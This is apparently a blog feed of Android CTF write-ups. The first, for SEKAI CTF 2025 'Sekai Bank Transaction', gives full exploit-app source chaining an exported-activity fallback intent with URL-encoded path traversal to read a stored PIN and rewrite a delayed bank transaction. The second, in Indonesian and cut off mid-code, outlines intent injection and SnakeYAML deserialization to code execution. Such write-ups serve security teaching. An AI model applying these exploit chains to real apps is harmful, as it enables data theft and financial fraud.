Azka Ainul Maarij lawbyte 2026-05-06T07:20:33.564Z https://lbyte.id/ lawbyte Hexo SEKAI CTF 2025: Sekai Bank Transaction https://lbyte.id/2025/08/18/writeup/SEKAI%20CTF%202025:%20Sekai%20Bank%20Transaction/ 2025-08-18T00:00:00.000Z 2026-05-06T07:20:33.564Z

Introduction

This document provides a detailed walkthrough of the vulnerability found in the SekaiBank Android application and how we exploited it to steal one million from the admin user.

Vulnerability Analysis

MainActivity Fallback Intent Vulnerability

The primary vulnerability in the SekaiBank application is in the MainActivity.onCreate() method. The application has a try-catch block that, upon exception, retrieves a ParcelableExtra named “fallback” from the Intent and calls startActivity() on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    try {
        this.tokenManager = SekaiApplication.getInstance().getTokenManager();
        if (handlePinSetupFlow()) {
            return;
        }
    } catch (Exception unused) {
        Intent intent = (Intent) getIntent().getParcelableExtra("fallback");
        if (intent != null) {
            startActivity(intent);
            finish();
        }
    }
    // ... rest of onCreate
}

This is a critical vulnerability because:

  1. The MainActivity is exported (as shown in the AndroidManifest.xml)
  2. It allows an attacker to execute arbitrary Intents within the victim app’s context
  3. The exception can be easily triggered by providing malformed extras

Path Traversal in LogProvider

The second vulnerability is in the LogProvider class. While the provider itself is not exported (android:exported="false"), it does grant URI permissions (android:grantUriPermissions="true"). This means that if we can execute code within the victim’s context (which we can via the MainActivity fallback), we can access this provider.

The LogProvider.query() method is vulnerable to path traversal:

1
2
3
4
5
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
    File[] listFiles = new File(getContext().getCacheDir(), uri.getPath()).listFiles();
    // ... rest of method
}

It uses uri.getPath() directly without proper validation, allowing us to traverse directories using ../ (encoded as %2e%2e/).

The openFile() method has a simple check for .. but can be bypassed with URL encoding:

1
2
3
4
5
6
7
8
9
10
11
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String str) throws FileNotFoundException {
    if (uri.toString().contains("..")) {
        throw new FileNotFoundException("Invalid path!");
    }
    File file = new File(getContext().getCacheDir(), uri.getPath());
    if (!file.exists()) {
        throw new FileNotFoundException("Log doesn't exists!");
    }
    return ParcelFileDescriptor.open(file, 805306368); // MODE_READ_WRITE
}

Delayed Transaction Processing

The SekaiBank app has a feature for delayed transactions, which are stored as JSON files in the app’s private storage:

1
2
3
4
5
// DelayedTransactionFileStorage.java
public DelayedTransactionFileStorage(Context context) {
    this.storageDir = new File(context.getFilesDir(), FOLDER_NAME);
    initializeStorageDirectory();
}

These transactions are processed by DelayedTransactionManager.processReadyTransactions():

1
2
3
4
5
6
public static void processReadyTransactions(Context context) {
    Log.d(TAG, "Processing ready transactions...");
    DelayedTransactionManager delayedTransactionManager = new DelayedTransactionManager(context);
    List<DelayedTransaction> readyTransactions = delayedTransactionManager.storage.getReadyTransactions();
    // ... process transactions
}

The key vulnerability is that when transactions are processed, they use the currently authenticated user’s token - which in the CTF scenario is the admin’s token:

1
2
3
4
5
6
7
8
9
private void processTransaction(DelayedTransaction delayedTransaction) {
    Log.d(TAG, "Processing transaction: " + delayedTransaction.getId());
    SekaiApplication.getInstance().getApiClient().getApiService().sendMoney(new SendMoneyRequest(
        delayedTransaction.getToUsername(), 
        delayedTransaction.getAmount(), 
        delayedTransaction.getMessage(), 
        delayedTransaction.getPin()
    )).enqueue(new TransactionCallback(delayedTransaction));
}

Exploitation Chain

Our exploitation chain combines these vulnerabilities:

  1. Use the MainActivity fallback vulnerability to execute our code in the victim’s context
  2. Use the LogProvider path traversal to access the delayed_transactions directory
  3. Read an existing transaction to extract its PIN (needed for authentication)
  4. Modify the transaction or create a new one to send money to our account
  5. Wait for the transaction to be processed automatically

Step 1: Trigger the MainActivity Fallback

We create a malicious app with a KickActivity that:

  1. Creates a “fallback” Intent pointing to our SinkActivity
  2. Grants read/write/prefix permissions on a content URI targeting the LogProvider
  3. Creates an Intent to the victim’s MainActivity with malformed extras to trigger the exception
  4. Adds our fallback Intent as an extra to the victim Intent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// This is what the victim will start (our sink) with URI grants
Intent fallback = new Intent(this, SinkActivity.class);
fallback.setData(target);
fallback.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
        | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
fallback.setClipData(ClipData.newRawUri("sekai", target));

// Kick victim MainActivity; force try{} path and crash in setupMainUI()
Intent kick = new Intent();
kick.setClassName(VICTIM_PKG, VICTIM_ENTRY);

// Inside try{}: forces handlePinSetupFlow() → setupMainUI()
kick.putExtra("from_pin_setup", true);

// setupMainUI() does (Context) extras.getParcelable("context") → ClassCastException
kick.putExtra("context", Uri.parse("x://not-a-context"));

// Inject trampoline
kick.putExtra("fallback", fallback);

startActivity(kick);

Step 2: Access Delayed Transactions Directory

Once our SinkActivity is launched by the victim app, we have access to the LogProvider with the permissions we granted. We use path traversal to access the delayed_transactions directory:

1
2
3
4
5
Uri u = getIntent().getData(); // This is the URI from our fallback Intent
// URI is something like: content://com.sekai.bank.logprovider/%2e%2e/files/delayed_transactions/

// List files in the directory
Cursor cursor = getContentResolver().query(u, null, null, null, null);

Step 3: Extract Transaction Data

We extract the first transaction file from the directory and read its contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Get the first file
cursor.moveToFirst();
if (nameIndex >= 0) {
    firstFilename = cursor.getString(nameIndex);
}

// Read the file content
Uri fileUri = Uri.parse(u + "/" + firstFilename);
InputStream is = getContentResolver().openInputStream(fileUri);
byte[] data = readAll(is);
String fileContent = new String(data);

// Extract id and pin from JSON
JSONObject json = new JSONObject(fileContent);
originalId = json.optString("id", "unknown-id");
originalPin = json.optString("pin", "000000");

Step 4: Inject Malicious Transaction

Finally, we create a malicious transaction with the extracted PIN (to pass authentication) and write it back to the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Create our payload with the extracted ID and PIN
String modifiedPayload = "{\n" +
        "  \"id\": \"" + originalId + "\",\n" +
        "  \"toUsername\": \"none\",\n" +
        "  \"amount\": 1000000,\n" +
        "  \"message\": \"flag please\",\n" +
        "  \"pin\": \"" + originalPin + "\",\n" +
        "  \"createdAt\": \"" + now + "\",\n" +
        "  \"scheduledTime\": \"" + pastTime + "\",\n" +
        "  \"type\": \"USER_SCHEDULED\"\n" +
        "}";

// Write the modified payload to the file
OutputStream os = getContentResolver().openOutputStream(fileUri);
os.write(modifiedPayload.getBytes());
os.flush();
os.close();

The transaction will be processed automatically by the victim app, using the admin’s token, and the money will be sent to our account.

Code Implementation

KickActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.lbyte.sekai_exp;

import android.app.Activity;
import android.content.ClipData;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

/**
 * Launcher:
 *  - Forces victim MainActivity into try{} and throws (ClassCastException)
 *  - Supplies fallback Intent to our SinkActivity
 *  - Embeds a content:// URI for LogProvider with READ/WRITE/PREFIX grants
 */
public class KickActivity extends Activity {

    // Victim identifiers
    private static final String VICTIM_PKG   = "com.sekai.bank";
    private static final String VICTIM_ENTRY = "com.sekai.bank.MainActivity";
    private static final String VICTIM_AUTH  = "com.sekai.bank.logprovider";

    /**
     * Pick ONE TARGET below by changing TARGET_INDEX.
     * Start with index 0 to list cache (sanity check), then progress.
     * If a variant fails, try switching data root between /data/data and /data/user/0.
     */
    private static final String[] TARGETS = new String[] {
            // 0) List files in delayed_transactions directory
            "content://" + VICTIM_AUTH + "/%2e%2e/files/delayed_transactions/",
            
            // 1) Alternative URL encoding for listing
            "content://" + VICTIM_AUTH + "/..%2ffiles/delayed_transactions/",
            
            // 2) Double encoded traversal for listing
            "content://" + VICTIM_AUTH + "/%252e%252e/files/delayed_transactions/",
            
            // 3) Mixed encoding for listing
            "content://" + VICTIM_AUTH + "/%2e./files/delayed_transactions/",
            
            // 4) Unicode encoding for listing
            "content://" + VICTIM_AUTH + "/%c0%ae%c0%ae/files/delayed_transactions/",
            
            // 5) Nested traversal for listing
            "content://" + VICTIM_AUTH + "/%2e%2e/%2e%2e/data/data/com.sekai.bank/files/delayed_transactions/",
            
            // 6) Slash encoding for listing
            "content://" + VICTIM_AUTH + "/%2e%2e%2ffiles%2fdelayed_transactions/",
            
            // 7) Try with absolute path from cache for listing
            "content://" + VICTIM_AUTH + "/..%2f..%2fdata%2fdata%2fcom.sekai.bank%2ffiles%2fdelayed_transactions/"
    };

    private static final int TARGET_INDEX = 0; // Using direct path to directory

    private static Uri buildTargetUri() {
        return Uri.parse(TARGETS[TARGET_INDEX]);
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Uri target = buildTargetUri();

        // This is what the victim will start (our sink) with URI grants
        Intent fallback = new Intent(this, SinkActivity.class);
        fallback.setData(target);
        fallback.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
        fallback.setClipData(ClipData.newRawUri("sekai", target));

        // Kick victim MainActivity; force try{} path and crash in setupMainUI()
        Intent kick = new Intent();
        kick.setClassName(VICTIM_PKG, VICTIM_ENTRY);

        // Inside try{}: forces handlePinSetupFlow() → setupMainUI()
        kick.putExtra("from_pin_setup", true);

        // setupMainUI() does (Context) extras.getParcelable("context") → ClassCastException
        kick.putExtra("context", Uri.parse("x://not-a-context"));

        // Inject trampoline
        kick.putExtra("fallback", fallback);

        startActivity(kick);
        finish();
    }
}

SinkActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
package com.lbyte.sekai_exp;

import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.ScrollView;
import android.widget.TextView;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.text.SimpleDateFormat;
import java.util.Date;

/**
 * Started by the victim via fallback. Receives a granted content:// URI.
 * - If URI is a directory → lists via query()
 * - Extracts first file from the directory
 * - Reads the file content and extracts pin and id
 * - Writes a modified payload with the same pin and id
 */
public class SinkActivity extends Activity {
    private static final String TAG = "SEKAI-POC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        TextView tv = new TextView(this);
        tv.setTextIsSelectable(true);
        ScrollView sc = new ScrollView(this);
        sc.addView(tv);
        setContentView(sc);

        Uri u = getIntent().getData();
        StringBuilder out = new StringBuilder();
        out.append("URI: ").append(u).append("\n\n");

        // 1) LIST (works if URI points to a directory for this provider)
        String firstFilename = null;
        Cursor cursor = null;
        try {
            cursor = getContentResolver().query(u, null, null, null, null);
            if (cursor != null && cursor.getCount() > 0) {
                int nameIndex = cursor.getColumnIndex("name");
                int sizeIndex = cursor.getColumnIndex("size");
                int pathIndex = cursor.getColumnIndex("path");
                
                out.append("LISTING:\n");
                
                // Get the first file
                cursor.moveToFirst();
                if (nameIndex >= 0) {
                    firstFilename = cursor.getString(nameIndex);
                    String size = (sizeIndex >= 0) ? cursor.getString(sizeIndex) : "unknown";
                    String path = (pathIndex >= 0) ? cursor.getString(pathIndex) : "unknown";
                    
                    Log.i(TAG, "First file: " + firstFilename + " (size: " + size + ", path: " + path + ")");
                    out.append("First file: " + firstFilename + " (size: " + size + ", path: " + path + ")\n\n");
                }
                
                // List all files for debugging
                cursor.moveToPosition(-1); // Reset cursor position
                while (cursor.moveToNext()) {
                    String name = (nameIndex >= 0) ? cursor.getString(nameIndex) : "<no-name>";
                    String size = (sizeIndex >= 0) ? cursor.getString(sizeIndex) : "<no-size>";
                    String path = (pathIndex >= 0) ? cursor.getString(pathIndex) : "<no-path>";
                    out.append(" - ").append(name).append(" (").append(size).append(") : ").append(path).append("\n");
                }
                out.append("\n");
            } else {
                out.append("LISTING: No files found or null cursor\n\n");
                Log.e(TAG, "No files found or null cursor");
            }
        } catch (Throwable t) {
            Log.e(TAG, "Query failed", t);
            out.append("LISTING failed: ").append(t).append("\n\n");
        }

        // Check if we found a file
        if (firstFilename == null) {
            Log.e(TAG, "No files found in the directory");
            out.append("ERROR: No files found in the directory\n\n");
            if (cursor != null) {
                cursor.close();
            }
            tv.setText(out.toString());
            return;
        }

        // 2) READ the specific file
        String originalId = null;
        String originalPin = null;
        
        try {
            // Construct URI to the specific file
            Uri fileUri = Uri.parse(u + "/" + firstFilename);
            Log.i(TAG, "Trying to read file: " + fileUri);
            out.append("Trying to read file: " + fileUri + "\n\n");
            
            InputStream is = getContentResolver().openInputStream(fileUri);
            if (is != null) {
                byte[] data = readAll(is);
                is.close();
                String fileContent = new String(data);
                Log.i(TAG, "READ OK: File content:\n" + fileContent);
                out.append("READ OK: Original file content:\n" + fileContent + "\n\n");
                
                // Extract id and pin from JSON
                try {
                    JSONObject json = new JSONObject(fileContent);
                    originalId = json.optString("id", "unknown-id");
                    originalPin = json.optString("pin", "000000");
                    
                    Log.i(TAG, "Extracted ID: " + originalId + ", PIN: " + originalPin);
                    out.append("Extracted ID: " + originalId + ", PIN: " + originalPin + "\n\n");
                } catch (JSONException je) {
                    Log.e(TAG, "Failed to parse JSON", je);
                    out.append("Failed to parse JSON: " + je.getMessage() + "\n\n");
                    originalId = "exploit-" + System.currentTimeMillis();
                    originalPin = "000000"; // Fallback
                }
                
                // 3) WRITE modified content to the same file
                try {
                    // Create our payload with the extracted ID and PIN
                    SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'");
                    String now = sdf.format(new Date());
                    String pastTime = sdf.format(new Date(System.currentTimeMillis() - 86400000)); // 1 day ago
                    
                    String modifiedPayload = "{\n" +
                            "  \"id\": \"" + originalId + "\",\n" +
                            "  \"toUsername\": \"none\",\n" +
                            "  \"amount\": 1000000,\n" +
                            "  \"message\": \"flag please\",\n" +
                            "  \"pin\": \"" + originalPin + "\",\n" +
                            "  \"createdAt\": \"" + now + "\",\n" +
                            "  \"scheduledTime\": \"" + pastTime + "\",\n" +
                            "  \"type\": \"USER_SCHEDULED\"\n" +
                            "}";
                    
                    Log.i(TAG, "Created modified payload:\n" + modifiedPayload);
                    out.append("Created modified payload:\n" + modifiedPayload + "\n\n");
                    
                    // Write the modified payload to the file
                    OutputStream os = getContentResolver().openOutputStream(fileUri);
                    if (os != null) {
                        os.write(modifiedPayload.getBytes());
                        os.flush();
                        os.close();
                        
                        Log.i(TAG, "WRITE OK: Successfully wrote modified payload to " + firstFilename);
                        out.append("WRITE OK: Successfully wrote modified payload to " + firstFilename + "\n\n");
                        
                        // Verify the write by reading again
                        try {
                            InputStream verifyIs = getContentResolver().openInputStream(fileUri);
                            if (verifyIs != null) {
                                byte[] verifyData = readAll(verifyIs);
                                verifyIs.close();
                                String verifyContent = new String(verifyData);
                                
                                Log.i(TAG, "VERIFY OK: File content after write:\n" + verifyContent);
                                out.append("VERIFY OK: File content after write:\n" + verifyContent + "\n\n");
                            }
                        } catch (Exception ve) {
                            Log.e(TAG, "Failed to verify write", ve);
                            out.append("Failed to verify write: " + ve.getMessage() + "\n\n");
                        }
                    } else {
                        Log.e(TAG, "Failed to open output stream for " + fileUri);
                        out.append("Failed to open output stream for " + fileUri + "\n\n");
                    }
                } catch (Exception we) {
                    Log.e(TAG, "Failed to write modified payload", we);
                    out.append("Failed to write modified payload: " + we.getMessage() + "\n\n");
                }
            } else {
                Log.e(TAG, "Failed to open input stream for " + fileUri);
                out.append("Failed to open input stream for " + fileUri + "\n\n");
            }
        } catch (Exception e) {
            Log.e(TAG, "Error in read/write process", e);
            out.append("Error in read/write process: " + e.getMessage() + "\n\n");
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }

        tv.setText(out.toString());
    }

    private static byte[] readAll(InputStream is) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] buf = new byte[4096];
        int n;
        while ((n = is.read(buf)) != -1) {
            baos.write(buf, 0, n);
        }
        return baos.toByteArray();
    }
}

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.Sekaiexp"
        android:usesCleartextTraffic="true">
        
        <activity
            android:name=".KickActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
        <activity
            android:name=".SinkActivity"
            android:exported="true" />
    </application>

</manifest>

Conclusion

This exploit chain demonstrates several common Android security vulnerabilities:

  1. Intent-based IPC vulnerabilities: The MainActivity fallback vulnerability allows arbitrary Intent execution within the victim’s context.
  2. Path traversal: The LogProvider is vulnerable to path traversal, allowing access to files outside its intended scope.
  3. Insecure file operations: The delayed transaction system doesn’t properly validate the integrity of transaction files before processing them.

The combination of these vulnerabilities allows us to execute a complete exploit chain that:

  1. Gains execution within the victim’s context
  2. Accesses sensitive files
  3. Modifies those files to steal money
  4. Leverages the victim’s authentication to process the transaction

This exploit is particularly dangerous because it requires no user interaction beyond installing and running our malicious app, and it can steal money from any user who has the vulnerable SekaiBank app installed.

]]> <iframe width="100%" height="400" src="https://www.youtube.com/embed/7xVm1CLk-Yo?si=OU-lhFM7VSq5ZCT1" title="YouTube video player" framebord TCP1P 2024: Mobile Writeup https://lbyte.id/2024/10/15/writeup/TCP1P%202024:%20Mobile%20Writeup/ 2024-10-15T04:28:06.000Z 2026-05-06T07:20:33.564Z Team: MAGER / Vantage Point Security
Rank: 5/1110

Password Manager 2.0

Overview

Challenge ini adalah sebuah aplikasi Password Manager yang memiliki sebuah activity bernama CalculatorActivity. Activity ini melakukan operasi matematika sederhana dan memiliki intent yang exported="true", yang berarti dapat diakses oleh aplikasi lain tanpa memerlukan permission.

Pada activity ini terdapat sebuah exception yang terjadi ketika melakukan pembagian dengan angka 0. Exception ini dapat digunakan untuk bypass operasi matematika yang seharusnya dilakukan. Ketika exception terjadi, dia akan melakukan setResult(-1, i) yang dimana nilai i adalah Intent i = getIntent();, yang memungkinkan kita untuk melakukan intent injection.

Dengan memanfaatkan bug ini, kita dapat menulis ke content provider untuk membuat file pwds.yml dan mal.apk di folder /files/. File pwds.yml akan diload oleh snakeyaml, yang memiliki kemampuan untuk melakukan deserialization. Kita dapat memanfaatkan deserialization ini untuk menjalankan gadget dari ScriptEngineManager, yang dapat dikombinasikan dengan CustomClassLoader dalam mal.apk. Hal ini memungkinkan kita untuk melakukan remote code execution pada aplikasi ini dengan meload mal.apk yang telah kita buat.

Description

It’s a Password Manager, what could go wrong (again)?

The infrastructure being used is based on our Mobile POC Tester (https://github.com/TCP1P/Mobile-POC-Tester).
You will need to create your exploit application that will be executed in the server.
You can check client_dist.py for more information on how the automation for this challenge runs.

POC Tester: http://45.32.119.201:5000/

Analysis

Kita diberikan file sebagai berikut:

  • challenge.apk
  • client_dist.py

Kalian bisa mengakses filenya pada link ini.

APK-nya adalah aplikasi Password Manager. Kita bisa mendekompilasi menggunakan jadx untuk melihat kode sumbernya. Aplikasi ini hanya memiliki password manager didalamnya yang dimana ketika kita melakukan Happy Flow pada aplikasinya, kita bisa memasukan kata sandi baru kedalam aplikasi ini dan nantinya kata sandi itu akan disimpan pada internal storage pada android kita.

Struktur dari aplikasi ini adalah sebagai berikut:

Dengan AndroidManifest.xml sebagai berikut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="2" android:versionName="2.0" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="com.aimardcr.pwdmanager" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
    <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="33"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <permission android:name="com.aimardcr.pwdmanager.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="signature"/>
    <uses-permission android:name="com.aimardcr.pwdmanager.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
    <application android:theme="@style/Theme.NotesManager" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:name="com.aimardcr.pwdmanager.MainApplication" android:debuggable="true" android:allowBackup="false" android:supportsRtl="true" android:extractNativeLibs="true" android:usesCleartextTraffic="true" android:networkSecurityConfig="@xml/network_security_config" android:roundIcon="@mipmap/ic_launcher" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
        <activity android:theme="@style/Theme.NotesManager.NoActionBar" android:label="@string/app_name" android:name="com.aimardcr.pwdmanager.MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:theme="@style/Theme.NotesManager.NoActionBar" android:label="DevActivity" android:name="com.aimardcr.pwdmanager.CalculatorActivity" android:exported="true"/>
        <provider android:name="com.aimardcr.pwdmanager.providers.MyFileProvider" android:enabled="true" android:exported="false" android:authorities="com.aimardcr.pwdmanager" android:grantUriPermissions="true">
            <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
        </provider>
        <provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.aimardcr.pwdmanager.androidx-startup">
            <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.profileinstaller.ProfileInstallerInitializer" android:value="androidx.startup"/>
        </provider>
        <uses-library android:name="androidx.window.extensions" android:required="false"/>
        <uses-library android:name="androidx.window.sidecar" android:required="false"/>
        <receiver android:name="androidx.profileinstaller.ProfileInstallReceiver" android:permission="android.permission.DUMP" android:enabled="true" android:exported="true" android:directBootAware="false">
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

SnakeYAML Deserialization Vulnerability

Ketika kita perhatikan pada activity com.aimardcr.pwdmanager.ui.pwd.PwdFragment kita bisa melihat bahwa dia menggunakan snakeyaml untuk load file pwds.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void updatePasswordList() {
    File file = new File(getContext().getFilesDir(), "pwds.yml");
    if (!file.exists()) {
        return;
    }
    try {
        InputStream inputStream = new FileInputStream(file);
        Yaml yaml = new Yaml(new Constructor(Map.class));
        Object data = yaml.load(inputStream);
        if (data != null) {
            List<Map<String, Object>> passwordDataList = (List) ((Map) data).get("passwords");
            final List<Password> passwordList = new ArrayList<>();
            for (Map<String, Object> passwordData : passwordDataList) {
                int id = ((Integer) passwordData.get("id")).intValue();
                String applicationName = (String) passwordData.get("application");
                String username = (String) passwordData.get("username");
                String password = (String) passwordData.get("password");
                Password pwd = new Password(id, applicationName, username, password);
                passwordList.add(pwd);
            }
            PwdAdapter passwordsAdapter = new PwdAdapter(getContext(), (Password[]) passwordList.toArray(new Password[0]));
            passwordsAdapter.setOnPasswordClickedListener(new OnPwdClickedListener() { // from class: com.aimardcr.pwdmanager.ui.pwd.PwdFragment.1
                @Override // com.aimardcr.pwdmanager.ui.pwd.OnPwdClickedListener
                public void onPasswordClick(int position) {
                    Password password2 = (Password) passwordList.get(position);
                    PwdFragment.this.showPasswordDialog(password2);
                }

                @Override // com.aimardcr.pwdmanager.ui.pwd.OnPwdClickedListener
                public void onPasswordLongClick(int position) {
                    Password password2 = (Password) passwordList.get(position);
                    PwdFragment.this.showDeletePasswordDialog(password2);
                }
            });
            this.binding.passwordList.setAdapter(passwordsAdapter);
        }
    } catch (IOException e) {
        e.printStackTrace();
        Snackbar.make(this.binding.getRoot(), "An error occurred while loading passwords.", 0).show();
    }
}

Dia tidak menggunakan SafeConstructor yang dimana bisa membatasi class yang bisa di-deserialize. Jadi kita bisa melakukan deserialization gadget chaining untuk melakukan remote code execution. Tetapi kita tidak tahu bagaimana cara write file pwds.yml ini.

Content Provider

Kita bisa melihat bahwa aplikasi ini memiliki sebuah content provider yang bisa kita akses dengan content://com.aimardcr.pwdmanager:

1
<provider android:name="com.aimardcr.pwdmanager.providers.MyFileProvider" android:enabled="true" android:exported="false" android:authorities="com.aimardcr.pwdmanager" android:grantUriPermissions="true">

Tapi kita tidak bisa mengakses content provider ini karena exported="false", yang artinya content provider ini hanya bisa diakses oleh aplikasi ini sendiri.

CalculatorActivity

Jika kita melihat AndroidManifest.xml, kita bisa melihat bahwa aplikasi ini memiliki activity yang bernama CalculatorActivity yang dimana memiliki exported="true":

1
<activity android:theme="@style/Theme.NotesManager.NoActionBar" android:label="DevActivity" android:name="com.aimardcr.pwdmanager.CalculatorActivity" android:exported="true"/>

exported="true" artinya bahwa activity tersebut bisa diakses oleh aplikasi lain tanpa memerlukan permission. Hal ini merupakan risiko keamanan karena aplikasi lain bisa menjalankan activity ini tanpa memerlukan permission.

Berikut ini adalah source code dari CalculatorActivity:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.aimardcr.pwdmanager;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

/* loaded from: classes3.dex */
public class CalculatorActivity extends Activity {
    @Override // android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_calculator);
        Intent i = getIntent();
        try {
            int left = i.getIntExtra("left", 4);
            int right = i.getIntExtra("right", 2);
            char operator = i.getCharExtra("operator", '+');
            int result = 0;
            switch (operator) {
                case '*':
                    result = left * right;
                    break;
                case '+':
                    result = left + right;
                    break;
                case '-':
                    result = left - right;
                    break;
                case '/':
                    result = left / right;
                    break;
            }
            setResult(0, new Intent().putExtra("result", result));
        } catch (Exception e) {
            setResult(-1, i);
        }
        finish();
    }
}

Seperti yang bisa kita lihat pada kode diatas, CalculatorActivity menerima 3 parameter: left, right, dan operator. Kemudian melakukan perhitungan berdasarkan operator dan mereturn hasilnya. Hasilnya kemudian dikirim kembali ke caller activity.

Tapi ada sebuah exception yang dimana jika kita melakukan pembagian dengan angka 0, maka akan terjadi exception dan dia akan mereturn setResult(-1, i) yang dimana nilai i adalah Intent i = getIntent();, yang memungkinkan kita untuk melakukan intent injection.

CustomClassLoader

Kita bisa melihat bahwa aplikasi ini memiliki sebuah class yang bernama CustomClassLoader yang dimana bisa kita gunakan untuk melakukan load class dari apk yang kita buat:

1
2
3
4
5
6
7
8
9
10
package com.aimardcr.pwdmanager;

import dalvik.system.PathClassLoader;

/* loaded from: classes3.dex */
public class CustomClassLoader extends PathClassLoader {
    public CustomClassLoader(String dexPath) {
        super(dexPath, PathClassLoader.getSystemClassLoader());
    }
}

Tapi ini hanya bisa melakukan load saja dan tidak bisa melakukan execute class yang kita load.

ScriptEngineManager

Kita bisa melihat bahwa aplikasi ini memiliki library javax.script yang dimana bisa kita gunakan untuk melakukan execute class yang kita load, karena didalam argument dari ScriptEngineManager dia menerima ClassLoader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public ScriptEngineManager(ClassLoader loader) {
    init(loader);
}

private void init(final ClassLoader loader) {
